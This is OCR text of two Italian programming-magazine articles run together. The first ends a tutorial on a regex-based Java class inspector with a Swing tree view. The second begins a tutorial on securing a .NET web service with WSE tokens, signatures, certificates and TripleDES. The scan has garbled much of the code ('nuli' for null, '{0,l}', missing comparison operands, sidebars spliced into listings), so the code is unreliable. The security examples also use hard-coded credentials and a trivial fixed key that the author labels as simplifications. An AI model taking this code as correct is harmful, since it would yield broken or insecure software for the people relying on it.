no le classi String, StrìngBuffer e CharBuffer. 
L'oggetto Matcher può eseguire fondamentalmente 
le seguenti operazioni: 

• controlla che l'intera sequenza di caratteri di 
input sia conforme allo specificato pattern. 

• verifica se la sequenza di caratteri di input è 
conforme con la parte iniziale del pattern. 

• cerca all'interno della sequenza di caratteri di 
input eventuali porzioni conformi al pattern 
specificato. 

Tali operazioni vengono svolte dai metodi della clas- 
se Matcher riportati nella seguente tabella. Notare 
che tutti quanti restituiscono un valore boolean. 

boolean matchesO 
boolean flndQ 
boolean find(int start) 
boolean lookingAtQ 
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Fig. 2: Interpretando un Pattern specificato, il 
Matcher esegue le operazioni richieste su una qual- 
siasi sequenza di caratteri. 



public static Pattern compile(String regex) 

public static Pattern compile(String regex, int flags) 



Il secondo metodo per- 
mette di specificare in 
una bit mask l'attivazio- 
ne di alcuni flag opziona- 
li da utilizzare nella fase 
di compilazione dell'e- 
spressione regolare. At- 
traverso questi flag pos- 
siamo impostare ad 
esempio l'utilizzo dei ca- 
ratteri UniCode oppure 
ASCII, o ancora attivare il 
case sensitive. Tali flag 



sono definiti come static int nella classe Pattern e 
possono essere raggruppati nella bit mask mediante 
l'operatore OR "\". Ad esempio possiamo attivare 
nella compilazione l'uso di caratteri UniCode e di 
commenti all'interno delle espressioni. 

Pattern. compile(str,Pattern.COMMENTS | 

Pattern. UNICODE_CASE); 

Una volta ottenuta un'istanza della classe Pattern, si 
può invocare il metodo matcher che crea e restituì- 



STRUTTURA 
DELL'INSPECTOR 

Possiamo iniziare ad utilizzare quanto appreso fino- 
ra per creare il nostro inspector di classi Java. Tale 
tool dovrebbe essere capace di leggere ed interpreta- 
re un file .java qualsiasi e da esso estrapolare alcune 
informazioni utili da visualizzare in un secondo 
momento. Tale capacità è fondamentale per il rever- 
se engineering, termine con cui s'intende il processo 
di trasformazione del codice in un disegno logico. 
Le informazioni utili da estrapolare leggendo un file 
.java possono essere le seguenti: 

nome della classe o dell'interfaccia 
eventuale classe o interfaccia padre 
eventuali interfacce implementate 
metodi della classe o dell'interfaccia 
costruttori della classe 
attributi della classe. 

Alcune di esse sono facilmente reperibili leggendo il 
file sorgente, mentre altre richiedono l'uso di diver- 
se varianti. La nostra applicazione sarà capace di 
analizzare tutti i file java contenuti in una directory 
specificata ed anche nelle sue sottodirectory. Come 
mostrato nel class diagram di Fig. 3, la classe princi- 
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pale è il ClassAnalyzer, la quale nel suo costruttore 

public ClassAnalyzer(File file) 

riceve come parametro un'istanza di File, rappre- 
sentante il file .java da esaminare. Successivamente, 
invocando il suo metodo run, essa apre il file e tenta 
di estrarre le informazioni suddette confrontando 
ogni riga letta con una serie di oggetti Pattern, crea- 
ti in precedenza. Infine, la classe espone una serie di 
metodi che restituiscono tali informazioni raccolte. 
La logica più importante è pertanto contenuta nei 
Pattern creati, che andremo a definire uno ad uno 
all'interno dell'interfaccia Factory Patterns. Iniziamo 
dall'estrazione delle informazioni di definizione di 
una classe. In tal caso possiamo scrivere la seguente 
espressione regolare. 

class ([a-zA-Z]*) (?:extends ([a-zA-Z-//.]*)){0,l}(?: 
implements ([a-zA-Z-//. ]*)(?:, ([a-zA-Z-//.]*))*){0,l> 

Nella definizione di una classe è sempre presente la 
parola chiave class, seguita dal nome della classe che 
possiamo estrarre come gruppo identificato dal 
numero 1. Successivamente, può essere presente 
(notare l'uso della sintassi {0,1} per specificare che 
l'occorrenza può andare da un minimo di zero volte 
ad un massimo di una) la parola chiave extends se- 
guita dal nome della classe padre, anch'essa estratta 
come gruppo. Notare che il nome della classe padre 
può contenere anche il carattere '.', presente se viene 
specificato comprensivo di package. Infine, può 
essere presente la parola chiave implements con 
l'indicazione di una serie di nomi di interfacce sepa- 
rati dal carattere ','. Allo stesso modo possiamo defi- 
nire l'espressione regolare per l'estrazione delle in- 
formazioni di definizione di un'interfaccia. 

interface ([a-zA-Z]*) (?:extends ([a-zA-Z-//.]*)){0,l} 

In questo caso si utilizza la parola chiave interface, 
seguita dal nome dell'interfaccia. Opzionalmente 
può essere presente il costrutto extends come nel 
caso di una classe. Proseguiamo definendo le 
espressioni per l'analisi dei metodi di una classe o di 
un'interfaccia. Per semplicità, andremo ad estrarre 
solo alcune informazioni di un metodo, quali: il tipo 
di accesso, il nome ed il valore di ritorno. Altre infor- 
mazioni, quali ad esempio tipo e nome dei parame- 
tri del metodo o i nomi delle eventuali eccezioni che 
possono essere lanciate, si possono ottenere ag- 
giungendo ulteriori controlli a tali espressioni re- 
golari. Per i metodi, distinguiamo tre diverse espres- 
sioni regolari per ogni tipo di accesso (pubblico, pro- 
tetto o privato) poiché ognuno utilizza una parola 
chiave differente. 

(?: public )(static ){0,l}([a-zA-Z]*) ([a-zA-Z]*)\\( 



(?:protected )(static ){0,l}([a-zA-Z]*) ([a-zA-Z]*)\\( 
(?:private )(static ){0,l}([a-zA-Z]*) ([a-zA-Z]*)\\( 

Possiamo notare, infatti, che le tre espressioni sono 
simili tra loro tranne che nella parola chiave che 
identifica tipo di accesso al metodo. Successiva- 
mente può essere presente la parola chiave static, 
quindi il valore di ritorno ed il nome del metodo. 
Anche in questo caso, utilizzando i gruppi definiti 
all'interno delle parentesi rotonde, possiamo estra- 
polare le informazioni che c'interessano. Notare che 
tali espressioni richiedono sempre che nella defini- 
zione di un metodo sia specificata la parola chiave 
identificante il tipo di accesso. Pertanto un metodo 
come seguente non sarà rilevato 

void String getName() { 

a meno che non si corregga leggermente l'espressio- 
ne regolare. 



DEFINIAMO 

LE ESPRESSIONI 

PER I COSTRUTTORI 

Passiamo ora a vedere come possano essere specifi- 
cate le espressioni per la rilevazione dei costruttori 
di una classe. Anche in questo caso definiamo tre 
espressioni utilizzando il nome della classe che si sta 
analizzando. 





ESTRARRE 
DEI GRUPPI 

Mediante le parentesi 
tonde, si possono 
definire dei gruppi 
numerati, il cui valore 
può essere ottenuto 
successivamente 
dall'oggetto Matcher 
in base al numero del 
gruppo. Ad esempio 
(prova) fornisce la 
definizione di un 
gruppo numerato 
come uno e che ha 
valore "prova" (il 
gruppo zero 
rappresenta sempre 
l'intera espressione). 
I gruppi che iniziano 
con ? non vengono 
conteggiati. 



Esattamente come per i metodi, la 
definizione di un costruttore senza 
la parola chiave public non viene 
rilevata. A questo punto, tralascian- 
do per semplicità l'estrazione delle 
informazioni sugli attributi definiti 
in una classe, vediamo come la 
classe ClassAnalyzer estragga tali 
informazioni durante la lettura del 
file .java. Innanzitutto, nel suo co- 
struttore, viene invocato il metodo 
createPatterns che compila una se- 
rie di oggetti Pattern ognuno dedi- 
cato ad un'espressione regolare ri- 
portata precedentemente. 
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Fig. 3: La classe principale che si occupa 
di analizzare un file Java è il ClassAnalyzer. 



private void createPatterns() { 

classPattern = Pattern. compile(CLASS_PATTERN); 
interfacePattern = Pattern. compile(INTERFACE_PATTERN); 
methodPatterns = new HashtableQ; 
method Patterns. put(PUBLIC_METHODS_PTN, 
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COME 

COMPILARE 

IL PROGETTO 

La compilazione del 

progetto è agevolata 

dall'uso di Ant (un 

tool sviluppato dalla 

Apache Foundation 

che permette 

l'implementazione di 

un make file). Nella 

directory "codice" è 

contenuto infatti il file 

build.xml, che 

rappresenta la 

sequenza dei task che 

Ant eseguirà per 

compilare il nostro 

progetto. A tal fine 

basta digitare "ant" 

dalla directory 

"codice". Il risultato, 

cioè le classi generate, 

verranno posizionate 

nella directory 

"classes". 




SUL WEB 



ONJava.com: Regular 
Expressions in J2SE - 

http://www,onjava.com/p 

ub/a/onjava/2003/1 1/26/re 

qex.html 

Java Tutorial: 
Regular Expressions 

http://iava.sun.com/docs/ 

books/tutorial/extra/rege 

x/index.html 



Pattern. compile(PUBLIC_METHODS_PATTERN)) 

methodPatterns.put(PRIVATE_METHODS_PTN, 

Pattern. compile(PRIVATE_METHODS_PATTERN)) 
methodPatterns.put(PROTECTED_METHODS_PTN, 

Pattern.compile(PROTECTED_METHODS_PATTERN)) 

methodPatterns.put(PUBLIC_CONSTRUCTORSJ l TN, 

Pattern. compile("(public) ((" + classIMame + "))\\(")) 

methodPatterns.put(PROTECTED_CONSTRUCTORS_PTN 

Pattern. compile("(protected) ((" + className + 

"))\\(")) 

methodPatterns.put(PRIVATE_CONSTRUCTORS_PTN, 
Pattern. compile("(private) ((" + className + "))\\(")); } 

Notare che i pattern relativi ai metodi ed ai costrut- 
tori vengono organizzati in una Hashtable. Succes- 
sivamente durante la lettura del file .java, ogni riga 
viene sottoposta all'esame del metodo analyzeClass 
che tenta di estrarre informazioni sulla classe padre 
o le interfacce implementate. 

private void analyzeClass(String line) { 

Matcher matcher = classPattern.matcher(line); 
if(matcher.find()) { 

isClass = new Boolean(true); 
extendsByClass = matcher.group(2); 
for(int k= 2 ;k< matcher. groupCount();k++) 
if(matcher.group(k+l) != nuli) 
implementsInterfaces.add(matcher.group(k+l));} 
matcher = interfacePattern.matcher(line); 
if(matcher.find()) { 

isClass = new Boolean(false); 

Di seguito, 1' ' analyzeMethods che estrae le informa- 
zioni dei metodi e costruttori definiti. 

private boolean analyzeMethods(String line) { 
Enumeration e = methodPatterns.keys(); 
Matcher matcher = nuli; 
while(e.hasMoreElements()) { 

String patternName = (String) e.nextElement(); 
Pattern pattern = (Pattern) 

methodPatterns.get( patternName); 
matcher = pattern. matcher(line); 
if(matcher.find()) { 

String method = matcher.group(3) + ":" + 

matcher.group(2); 
List list = (List) methods.get(patternName); 

if(list == nuli) 

list = new ArrayList(); 
list.add(method); 
methods.put(patternName,list); 
return true; } 

A questo punto, l'oggetto ClassAnalyzer conterrà 
tutte le informazioni estratte che possono essere re- 
perite tramite i suoi metodi getExtendsBy Class, get- 
Implementslnterfaces, getPublicConstructors, getPu- 
blicMethods e così via. 



VISUALIZZAZIONE 
DEI RISULTATI 

Una buona visualizzazione dei risultati può essere 
ottenuta utilizzando un JTree in cui viene riportata 
la struttura gerarchica delle classi e delle interfacce 
rilevate. Prima di tutto esaminiamo il modello dei 
dati mostrati dal JTree. Esso conterrà, a partire da un 
nodo radice, i seguenti tipi di nodi: 

• package 

• classe 

• interfaccia 

• metodo 

• costruttore 

Ogni tipo di nodo è definito da una classe apposita 
{PackageNode, ClassNode, InterfaceNode, Method- 
Node, ConstructorNode) derivante dalla classe 
astratta TextNode. Essa implementa l'interfaccia 
TreeNodeRender che definisce il metodo 

public Icon getIcon(); 

che ritorna l'icona da visualizzare per ogni tipo di 
nodo. Per il resto l'interfaccia grafica che visualizza i 
risultati dell'inspector, si basa su poche classi 
mostrate nel class diagram di Fig. 4. 
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Fig. 4: L 'interfaccia grafica si compone si un JFrame 
e di un JPanel. 

È presente una classe Jlnspector, derivante da 
JFrame, che rappresenta il punto iniziale dell'appli- 
cazione. Essa crea un'istanza del pannello generale 
JlnspectorPanel contenente tutti i controlli grafici 
visualizzati e che si occupa di avviare il processo di 
analisi. Sul pannello è presente un pulsante pre- 
mendo il quale si apre una finestra di dialogo in cui 
scegliere la directory da esaminare. Successivamen- 
te viene lanciato il processo di analisi che esamina 
in tale directory ed in tutte le sue sottodirectory tutti 
i file java presenti. Tale processo viene implemen- 
tato dalla classe AnalyzerTask. Un'istanza di tale 
classe è creata all'avvio dell'applicazione dal pan- 
nello principale, invocandone il costruttore 

public AnalyzerTask(RootClassesNode rootNode) { 

il quale riceve come parametro un oggetto Root- 
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F/g. 5: Ogw/ nodo presente nel JTree estende da una 
classe astratta TextNode. 



ClassesNode che rappresenta il nodo radice dell'al- 
bero. Dopo aver scelto la directory da analizzare, 
all'interno del metodo actionPerformed del pannel- 
lo principale viene avviato il processo dell'inspector 
mediante l'invocazione del run deW'AnalyzerTask. 



mato in modo ricorsivo lo stesso metodo search su 
tale directory. In caso contrario, se si tratta di un file 
con estensione "java", viene creata un'istanza di 
ClassNode, aggiunta al nodo parent e invocato il 
metodo processJavaFile. 

private void processJavaFile(File file, 
DefaultMutableTreeNode parent) { 

ClassAnalyzer ca = new ClassAnalyzer(file); 

ca.run(); 

TextNode node = nuli; 

if(ca.isClass()) 

node = new ClassNode(ca.getClassName()); 

else 

node = new InterfaceNode(ca.getClassName()); 



Tale metodo si avvale della classe ClassAnalyzer per 
estrarre le informazioni utili dal file .java letto ed in 
base ad esse popolare l'albero con i nodi degli even- 
tuali costruttori, metodi trovati. 





• REGULAR 
EXPRESSION POCKET 
REFERENCE 
Tony Stubblebine, 
(O'Reilly) 



public void actionPerformed(ActionEvent e) { 
int returnVal = chooser.showOpenDialog( 

this.getParentQ); 

if( returnVal == JFileChooser.APPROVE_OPTION) { 
File file = chooser.getSelectedFileQ; 

txtFile.setText(file.getPathQ); 

task.run(txtFile.getText());}} 

Tale metodo riceve il path della directory da esami- 
nare, crea un corrispondente oggetto File e lancia il 
metodo ricorsivo search. 

public void run(String path) { 
File here = new File(path); 
search(here,rootNode); } 

Il cuore del processo di analisi dei file .java contenu- 
ti nella directory si svolge in questo metodo. 

private void search(File here, DefaultMutableTreeNode 

parent) { 
File files[] = here.listFiles(); 
for(int k=0;k<files.length;k++) { 

if(files[k].isDirectory()) { 

PackageNode pack = new 

PackageNode(files[k].getName()); 
parent. insert(pack,parent.getChildCount()); 
search(files[k],pack); } 
else 

if(files[k].getName().endsWith(".java")) { 

processJa va File(files[k], parent);}}} 

Esso, a partire dalla directory specificata come para- 
metro, esamina uno ad uno gli oggetti File contenu- 
ti. Se si tratta di una directory, viene creata un'istan- 
za di PackageNode, aggiunta al nodo parent e richia- 



AVVIO 
DELL'INSPECTOR 

A questo punto, abbiamo definito tutte le compo- 
nenti principali dell'inspector. Possiamo compilare 
i sorgenti (a tal proposito leggere l'apposito boxlate- 
rale) e lanciare l'applicazione. Dalla directory "codi- 
ce" è sufficiente digitare 

java -cp %CLASSPATH%;classes ji.Jinspector 

Nel pannello principale che appare possiamo clic- 
care sul pulsante ".." per selezionare la directory dei 
sorgenti da ispezionare. Per esempio possiamo sele- 
zionare la directory "sre" contenente i file .java del- 
l'applicazione stessa. Dopodiché otterremo il risul- 
tato mostrato in Fig. 1: una struttura ad albero dei 
package, delle classi e delle interfacce trovate com- 
prensive delle informazioni estratte. 

David Visicchio 
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Fig. 6: La sequenza delle operazioni di analisi dei file Java contenuti in una directory. 
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Realizzare servizi sicuri si può, e non è nemmeno difficile.» 

Rendiamo sicuri 
i Web Services! 

Nell'articolo precedente abbiamo realizzato un servizio che 
trasferisce file binari, questo mese lo renderemo sicuro, richiedendo 
un'autenticazione per usarlo, e cifrando i messaggi. 




Ni 



□ 



CD J WEB 

UML_2.zip 



"eli' articolo precedente è stato realizzato un 
semplice servizio che permette di trasferire 
file attraverso un Web Service, per mostrare 
l'utilizzo dei protocolli WS-Routing, WS-Attach- 
ments e DIME forniti dal Web Service Enhancements 
for .NET 1.0. Questo mese ci occuperemo di rendere 
sicuro il Web Service, sia richiedendo un'autentica- 
zione per usare il servizio, sia cifrando il contenuto 
del messaggio per renderlo incomprensibile ad 
occhi indiscreti. In effetti, è sufficiente utilizzare il 
Network Monitor di Windows (o qualsiasi altro stru- 
mento di monitoraggio per vedere i pacchetti che 




<iirg/* nnp/art nr/nnxt 



hi l p ://!. u impuri. <mq/ 1 rati alerti ve/ r retrivi i: r/ P ranni croato 
hllp://ltn;allnti.i::a(lltU/rroniTi;TSvrj/lroni)iir.*!.rNM 
uuid;7IIfi5ti793 ?515 4abD 92Ie: ih?t47il I Sue A-u 




n 




REQUISITI 



9] Discreta conoscenza di 
U Visual Basic.NET e 
utilizzo dei Web 
Services con ASP.NET 



Windows 2000, XP 
Professional o 2003 
Server con installato 
US; Microsoft Visual 
Studio.NET 



Tempo di realizzazione 



000 



Fig. 1: Trace di un messaggio in chiaro. 

passano in rete) per rendersi conto del fatto che il 
contenuto dei messaggi da e per il Web Service è visi- 
bile e modificabile da chiunque, con pochissima 
fatica. Per le prove abbiamo utilizzato il Trace Tool 
fornito assieme al Microsoft SOAP Toolkit3.0. Il Trace 
Tool funziona come un filtro tra il chiamante e il ser- 
vizio. Quando si configura il tool bisogna impostare 
la porta su cui ascolta (ad esempio la 8080) e la porta 
verso cui invia le richieste (ad esempio la porta 80). 
Poi bisogna modificare il client per puntare alla 
porta del tool, al posto della porta del servizio. In Fig. 
1 si vede la prova del trace di un messaggio inviato al 
Web Service. Si vede chiaramente il contenuto dei 
tag OriginalMessageld e OptionalMessage. 



SICUREZZA 

poiniT-TO-POiniT 

Per rendere sicuro il servizio, la soluzione più sem- 
plice è quella di utilizzare la sicurezza fornita dal 
Web Server, in questo caso US. Si può impostare l'u- 
tilizzo di HTTPS (installando un certificato digitale 
sul server), e abilitare l'autenticazione dei client (im- 
postando per esempio sul server la basic authentica- 
tion, che è sicura solo su HTTPS) . Per installare il cer- 
tificato e configurare l'autenticazione, bisogna apri- 
re Y Internet Service Manager, selezionare il sito che 
interessa, tasto destro, proprietà, e selezionare la tab 
Directory Security (Fig. 2) . A questo punto premendo 
il tasto Edit più in alto si può configurare l'autenti- 
cazione, disabilitando l'accesso anonimo e impo- 
stando il metodo scelto, mentre premendo Server 
Certificate si lancia il Wizard per la richiesta e l'in- 
stallazione del certificato. Il certificato andrà richie- 
sto ad una certi- 
fication autho- 
rity o potrà esse- 
re autogenerato 
(per prova) tra- 
mite uno dei 
tool reperibili su 
Internet, o tra- 
mite i Certificate 
Services di Win- 
dows Server (se 
installati). Una 
volta configura- 
to il server, biso- 
gna modificare il client per passare le credenziali di 
un utente abilitato, per poter utilizzare il servizio. 

Dim networkCredentials As New 

Net.NetworkCredential("username", "password") 
TransferSvc.Credentials = networkCredentials 
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Fig. 2: Impostazioni di sicurezza 
dell'applicazione Web. 
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Anche la URL del servizio andrà modificata, intro- 
ducendo HTTPS al posto di http. Questo livello di 
sicurezza viene definito Point-to-Point, in quanto è 
sicuro solo il canale di trasmissione: se ci sono più 
tratte, il messaggio viene decodificato al termine di 
ogni tratta, permettendo anche modifiche non 
autorizzate. Per ottenere un livello di sicurezza supe- 
riore bisogna adottare un protocollo che permetta di 
ottenere una sicurezza End-to-End, dove il messag- 
gio viene protetto dall'inizio alla fine del percorso, 
anche se questo è composto da più tratte. 



LA SICUREZZA 
END-TO-END 

WS-Security fornisce tre servizi per garantire la sicu- 
rezza: propagazione del security token, integrità e 
confidenzialità del messaggio. Il primo servizio con- 
sente di inviare le credenziali di sicurezza senza 
doversi legare ai meccanismi del Web Server. Queste 
credenziali possono essere una coppia username/ 
password, un certificato X.509 o un token binario. 
Il secondo servizio serve per garantire che il messag- 
gio non è stato alterato da nessuno nel percorso 
intermedio. Il messaggio viene firmato digitalmente 
dal mittente e verificato dal ricevente. Il terzo servi- 
zio serve per proteggere il contenuto del messaggio 
da letture non autorizzate. Il messaggio può essere 
cifrato tutto o solo in parte, a seconda delle esigenze 
di confidenzialità. 



per autenticarsi, è possibile impostare un timeout di 
validità del messaggio (facendo attenzione alla pos- 
sibile mancanza di sincronizzazione tra gli orologi di 
client e server, che farebbe rifiutare messaggi 
buoni), ed inoltre è possibile tenere traccia dei 
Nonce ricevuti (almeno nel loro periodo di validità) e 
buttare via le richieste che hanno un Nonce già uti- 
lizzato. In questo ultimo caso, rimane la possibilità 
che il messaggio buono arrivi dopo il messaggio 
falso, quindi bisognerebbe trovare un modo per 
invalidare anche messaggi già ricevuti. Per inviare 
un Token di autenticazione testuale con Username, 
Hash, Nonce e data bisogna prima creare un oggetto 
della classe Microsoft.Web.Services.Security.User- 
nameToken e aggiungerlo alla collezione dei Token 
del proxy generato dal WSE Settings Tool. Nel nostro 
esempio (che riprende quello della puntata prece- 
dente) leggiamo username e password dalla form 
principale dell'applicativo client: 

If Me.txtUsername.Text <> "" Then 
If Me.txtPassword.Text <> "" Then 

Dim usernameToken As New UsernameToken( 

Me.txtUsername.Text, Me.txtPassword.Text, 
PasswordOption.SendHashed) 
TransferSvc.RequestSoapContext. Security 

.Tokens.Add( usernameToken) 

Else 

MessageBox.Show("Devi inserire la Password") 
Exit Sub 

End If 

End If 




MSSOAP 
TOOLKIT 3.0 

Il supporto al SOAP 
Toolkit 3.0 terminerà il 
1 Luglio 2004. Da quel 
momento l'unico 
strumento supportato 
ufficialmente per lo 
sviluppo di Web 
Service su piattaforma 
Microsoft rimarrà il 
.NET Framework. 
Non è chiaro se rimarrà 
disponibile per il 
download o sarà 
completamente 
ritirato. Affrettatevi a 
scaricarlo! 



AUTENTICHIAMO 
IL SERVIZIO 
E FIRMIAMOLO 

È possibile autenticare il nostro servizio (senza cer- 
tificati digitali) attraverso WS-Security, inviando un 
Token di autenticazione dal client al server. 
Il Token di autenticazione ha vari formati: 

• Username da solo, assolutamente non sicuro. 

• Username e password in chiaro, assolutamente 
non sicuro, ed espone la password in chiaro. 

• Username e Hash della password, assolutamen- 
te non sicuro, chiunque intercetta YHash è come 
se avesse la password. . . 

• Username, Hash della password, Nonce e data di 
creazione. 

L'unica opzione che può essere resa sicura è l'ultima, 
in cui YHash non include solo della password, ma 
contiene anche la data di creazione e una stringa 
casuale, chiamata Nonce, che identifica in maniera 
univoca la richiesta. 
Per evitare che qualcuno riutilizzi le informazioni 



La verifica della corrispondenza tra Username, 




WSE 2.0 - ORMAI CI SIAMO! 

Al momento della scrittura dell'articolo il Web Service Enhancements for 
.NET 2.0 è stato dichiarato Code Complete. Questo significa che lo sviluppo 
è stato completato, e che è iniziata la fase di stabilizzazione. Questa fase 
prevederà il rilascio di versioni Release Candidate (non si sa se saranno 
disponibili per tutti o solo per alcuni beta tester) per verificare che tutto 
funziona come dovrebbe. Probabilmente nel momento in cui leggerete 
l'articolo il prodotto sarà già stato rilasciato, o comunque il rilascio sarà 
imminente. Ecco le novità principali: 

• Supporto di WS-Addressing (al posto di WS-Routing) 

• Supporto di OASIS WSS (Web Service Security) 

• Supporto di WS-Trust, WS-Policy (e famiglia...), WS-SecureConversation, 
etc... 

• Introdotta l'integrazione con Kerberos 

• Supporto della messaggistica su TCP e UDP 

• Migliorata l'estensibilità. 

La convivenza con la versione 1.0 è garantita sia dal fatto che l'assembly 
ha un numero di versione differente, sia perchè il namespace è stato 
rinominato in Microsoft.Web.Services2, per consentire di usare entrambi 
gli strumenti all'interno dello stesso progetto. Comunque le modifiche al 
codice scritto per la versione uno non sono molte, e l'installazione side-by- 
side delle due versioni garantisce il funzionamento dei vecchi progetti. 
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ALTRI TOOL DI 

TRACIMG DEI 

WEB SERVICES 

Il progetto Axis di 

Apache contiene un 

tool scritto in Java per 

il Tracing dei Web 

Service. Anche sul sito 

www, pocketsoap.com 

c'è un ottimo tool per 

Windows. 




Fig. 3: WSE Settings Tool, impostazioni di 
sicurezza. 



Hash, Nonce e data di creazione avviene automati- 
camente lato server, attraverso una classe da noi 
costruita, che implementa l'interfaccia Password- 
Provider, che nel metodo GetPassword dato lo user- 
nome restituisce la password associata, in modo che 
WSE possa verificarla. 

Public Class TransferPasswordProvider 

Implements Microsoft. Web. Services. Security. 

IPassword Provider 
Public Function GetPassword(ByVal token As 

Microsoft. Web. Services. Security. UsernameToken) 
As String Implements Microsoft. Web. Services. 
Security.IPassword Provider. GetPassword 
If token. Username = "Pippo" Then 
Return "Pluto" 

End If 

End Function 
End Class 

La classe va poi registrata nel Web.conflg in modo 
che WSE possa utilizzarla. Per 
registrarla utilizzeremo il 
WSE Settings tool, facendo 
tasto destro sul progetto 
TransferSecureSvc e selezio- 
nando WSE Settings..., come 
in Fig. 3. Naturalmente nella 
classe che verifica la Password 
bisognerà ad esempio leggere 
la Password da un DB dato lo 
Username, controllare che il 
Nonce non sia stato già usato, 
ecc.. In questo caso la cop- 
pia Username e Password è 
inserita nel codice per sem- 
plicità. 



WSE PER IL 

COMPACT 

FRAMEWORK 

WSE non è 

ufficialmente 

disponibile per il .NET 

Compact Framework. 

È però disponibile una 

libreria di terze parti 

chiamata spWSE che 

fornisce il supporto 

per WS-Security e per 

WS-AttachmentsIDIME: 

http://www.brains-n-brawn 

.com/spWse 



FIRMIAMO 

IL MESSAGGIO 

CON IL TOKEN 

AUTENTICAZIONE 



Autenticare un messaggio non è comunque suffi- 
ciente. Bisogna firmarlo digitalmente in modo da 
garantire che non venga manomesso. Lato client 
basta creare una fuma usando la classe Microsoft.- 
Web.Services.Securìty.Signature e aggiungerla alla 
collezione degli elementi di sicurezza del proxy. 

Dim signature As New Signature(usernameToken) 
TransferSvc.RequestSoapContext. Security. Elements. 

Add(signature) 

Lato server bisogna controllare la presenza della fir- 
ma, ciclando sulla collezione degli elementi di sicu- 



rezza: 

Dim requestContext As SoapContext = 

HttpSoapContext. RequestContext 
If requestContext Is Nothing Then 

Throw New ApplicationException("This service can 

be called only via SOAPI") 

End If 

Dim senderName As String = "" 
If requestContext. Security.Elements.Count = Then 
Throw New ApplicationException("Missing signature!") 

End If 

For Each element As Object In 

requestContext. Security. Elements 
If TypeOf (element) Is Signature Then 

Dim signature As Signature = CType(element, 

Signature) 
If signature Is Nothing Then 

Throw New ApplicationException("Missing 

signature!") 

Else 

If (signature. SignatureOptions And Signature 
Options.IncludeSoapBody) <> Then 
If TypeOf (signature. SecurityToken) Is 

UsernameToken Then 
senderName = CType(signature 

.SecurityToken, UsernameToken 
). Username 

Else 

Throw New ApplicationException( 

"Missing signature!") 

End If 

End If 

End If 

End If 

Nex 

If senderName = "" Then 

Throw New ApplicationException("Missing sender 

name!") 
End If 

Un controllo fondamentale è quello di verificare che 
la firma includa il Body del messaggio Soap, per evi- 
tare la presenza di elementi contraffatti. 



GARANTIAMO 

IDENTITÀ 

E INTEGRITÀ 

CON UN CERTIFICATO 

Per avere una sicurezza maggiore, ed evitare proble- 
mi di "riutilizzo" dello Username, deU'Hash e del 
Nonce prima della scadenza del timeout, si possono 
utilizzare i certificati digitali. WSE è in grado di veri- 
ficare che la firma di un messaggio ottenuta utiliz- 
zando la chiave privata di un certificato corrisponda 
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al certificato stesso. Il certificato digitale può risiede- 
re sul server o può essere allegato al messaggio, per 
maggiore comodità. In questo caso l'autenticazione 
può essere fatta verificando le credenziali inserite 
nel certificato. La modifica da fare al client prevede il 
recupero della lista dei certificati dallo store dell'u- 
tente, per popolare un ComboBox: 

Private Sub Forml_Load(ByVal sender As System. Object, 
ByVal e As System. EventArgs) Handles MyBase.Load 
'Prepara ComboBox per Autenticazione 
Me.cmbCertificates.Items.Add("Use username/password") 
Me.cmbCertificates.Selectedlndex = 
Me.signingCertificateStore = 

X509.X509CertificateStore.CurrentUserStore( 

X509.X509CertificateStore.MyStore) 

Me.signingCertificateStore.OpenRead() 
For Each cert As X509.X509Certificate In 

Me.signingCertificateStore.Certificates 
Me.cmbCertificates.Items.Add(cert.GetName()) 

Next 

Me.signingCertificateStore.Close() 

End Sub 

Al momento dell'invio del messaggio, viene verifica- 
to se l'utente ha selezionato l'invio con Username e 
Password, nel qual caso si usa il codice precedente. 
In caso contrario si crea un Token a partire dal certi- 
ficato, e poi si crea la firma digitale. 

Dim certificate As X509.X509Certificate 

Me.signingCertificateStore.OpenReadQ 
certificate = CType(Me.signingCertificateStore.Certificates( 
Me.cmbCertificates.Selectedlndex - 1), 

X509.X509Certificate) 

Me.signingCertificateStore.Close() 

Dim certToken As New X509SecurityToken(certificate) 

TransferSvc.RequestSoapContext.Security.Tokens.Add( 

certToken) 
Dim signature As New Signature(certToken) 
TransferSvc.RequestSoapContext.Security.Elements. 

Add(signature) 

Sul server la verifica che certificato corrisponda 
alla firma viene fatta in automatico da WSE, che veri- 
fica anche che certificato sia stato rilasciato da una 
certification authority di cui il sistema si fida. Spetta 
comunque a noi verificare che ci sia almeno una 
firma. La funzionalità già presente viene cosi modi- 
ficata: 

If (signature. SignatureOptions And 

SignatureOptions.IncludeSoapBody) <> Then 
If TypeOf (signature. Security Token) Is 

UsernameToken Then 
senderName = CType(signature.SecurityToken, 

UsernameToken). Username 
Elself TypeOf (signature. SecurityToken) Is 



X509SecurityToken Then 




sende 


rName = CType(signature. SecurityToken, 

X509SecurityToken) 


. Certificate. GetName 


Else 




Throw 


New ApplicationException("Missing signature!") 


End If 


E 


id If 








In questo caso il nome dell'utente viene estratto di- 
rettamente dal certificato. 




CONFIGURAZIONE SERVER 

L'account con cui gira ASP.NET (ad esempio l'utente ASP.NET) deve poter 
accedere alla cartella "C:\Documents and Settings\AII Users\Applìcation 
Data\Microsof1\Crypto\RSA \MachineKeys" (o l'equivalente nelle versioni 
italiane). Questo per permettergli l'accesso allo store dei certificati della 
macchina, dove dovranno essere installati i certificati da usare lato server. 
WSE verifica sempre che un certificato sia trusted, a meno di impostare 
<x509 verifyTrust="false" l> nell'elemento security dentro a 
microsoft.web. services nel file Web.config. Questa configurazione può 
essere fatta anche tramite il WSE Settings Tool. Lato client i certificati 
vengono ricercati dal codice nello store dell'utente loggato. Per maggiori 
informazioni si faccia riferimento alla documentazione di WSE 1.0 al 
capitolo "Managing X.S09 Certificates" 



CIFRIAMO 

IL MESSAGGIO 

Anche per cifrare messaggio abbiamo a disposizio- 
ne più sistemi. Il primo sistema consiste nell'utiliz- 
zare la stessa chiave e lo stesso algoritmo di cifratu- 
ra sia sul client, sia sul server (usando un algoritmo 
a chiave simmetrica). In questo caso bisogna prepa- 
rare una chiave, associarla ad un algoritmo di cifra- 
tura, e dargli un identificativo (da usare lato server 
per ricostruirla). Tutte queste operazioni sul client 
vengono fatte da una funzione: 

Private Function GetSimmetricKey() As EncryptionKey 

'Le chiavi più sicure del mondo... 

Dim key As Byte() = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 
10, 11, 12, 13, 14, 15} 

Dim iv As ByteQ = {0, 1, 2, 3, 4, 5, 6} 

'In questo esempio usiamo il TripleDES 

Dim algorithm As New TripleDESCryptoServiceProvider 

algorithm.Key = key 'Chiave 

algorithm. IV = ìv 'Vettore di inizializzazione 

'Creiamo la chiave 

Dim returnKey As New SymmetricEncryptionKey( 

